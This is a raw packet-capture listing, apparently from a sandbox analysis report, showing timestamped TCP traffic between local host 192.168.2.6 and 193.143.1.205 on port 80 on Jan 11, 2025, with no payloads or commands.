Jan 11, 2025 03:03:36.418530941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418544054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418584108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.418917894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418931007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418941975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.418972969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.419054031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.419066906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.419078112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.419090033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.419117928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.419204950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.419343948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.419357061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.419368982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.419378996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.419390917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.419404984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.419428110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.419603109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.419792891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.419857979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.419872046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.420010090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.420022964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.420036077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.420061111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.420061111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.420100927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.420218945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.420232058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.420243025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.420249939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.420281887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.420413971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.424248934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.446059942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.446115017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.446125984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.446193933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.446257114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.446257114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.446316957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.446332932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.446396112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.446432114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.446443081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.446536064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.452245951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.475827932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.475856066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.475867033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.476275921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.505923033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.505940914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.505955935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.505968094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506015062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.506043911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506057024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506084919 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.506084919 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.506241083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506253004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506264925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506275892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506295919 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.506352901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.506433010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506444931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506552935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.506566048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506578922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506589890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.506653070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.506654024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.506988049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.507000923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.507011890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.507096052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.535985947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536015987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536027908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536039114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536051035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536062002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536075115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536129951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.536129951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.536601067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536613941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536632061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536643028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536655903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536710024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.536771059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536777973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.536782980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536792994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536803961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.536843061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.536843061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.537127018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.537421942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.537426949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.537434101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.537467957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.537477970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.537489891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.537499905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.537509918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.537512064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.537520885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.537534952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.537744045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.538247108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538258076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538268089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538278103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538289070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538290977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.538299084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538311005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538321018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538331032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538336039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.538336039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.538342953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538381100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.538381100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.538764954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538953066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538964987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538975000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538985968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.538995981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539007902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539036036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.539036036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.539074898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.539338112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539354086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539364100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539375067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539385080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539395094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539412975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539422989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.539422989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.539422989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.539423943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539434910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539444923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539448023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.539455891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539465904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539477110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539504051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.539529085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.539529085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.539640903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539653063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539661884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539673090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.539686918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.539714098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.540085077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.540097952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.540108919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.540142059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.540256977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.540268898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.540278912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.540307045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.540467978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.540477991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.540488958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.540498972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.540510893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.540512085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.540539026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.540713072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.540931940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541017056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.541083097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541094065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541104078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541253090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541264057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541273117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541284084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541297913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.541327953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.541327953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.541793108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541805983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541816950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541827917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541841030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.541867971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.541867971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.541883945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.542339087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.542356014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.542366982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.542376995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.542387962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.542397976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.542407990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.542419910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.542447090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.542447090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.542465925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.566785097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.596553087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.596565962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.596636057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.596693993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.596713066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.596725941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.596766949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.596843004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.596856117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.596868992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.596915007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.596915007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.596962929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.596973896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.596985102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.596997023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597038984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.597038984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.597227097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597239017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597281933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597292900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597302914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.597302914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597326994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.597553968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597565889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597575903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597582102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597593069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597604990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.597651005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.597651005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.603202105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.626522064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.626540899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.626554012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.626591921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.626636982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.626667023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.626694918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.626705885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.626718044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.626729965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.626763105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.626763105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.626951933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.626970053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.626981020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.626992941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627003908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627016068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627027988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.627058983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.627348900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627361059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627372026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627382040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627393961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627405882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627420902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.627420902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.627451897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.627827883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627842903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627876997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627887011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627897978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627908945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627919912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627923965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.627929926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627942085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.627969027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.627969027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.628074884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.628355980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628367901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628379107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628390074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628401041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628413916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628429890 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.628429890 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.628495932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.628659010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628675938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628686905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628696918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628707886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628720045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.628725052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.628741980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.628768921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.629132986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629144907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629156113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629167080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629178047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629189014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629200935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629211903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629215002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.629215002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.629223108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629234076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629251957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.629277945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.629277945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.629801989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629813910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629825115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629836082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629847050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629858971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629859924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.629868984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629879951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629890919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629900932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629906893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.629906893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.629913092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.629941940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.629941940 CET	49710	80	192.168.2.6	193.143.1.205
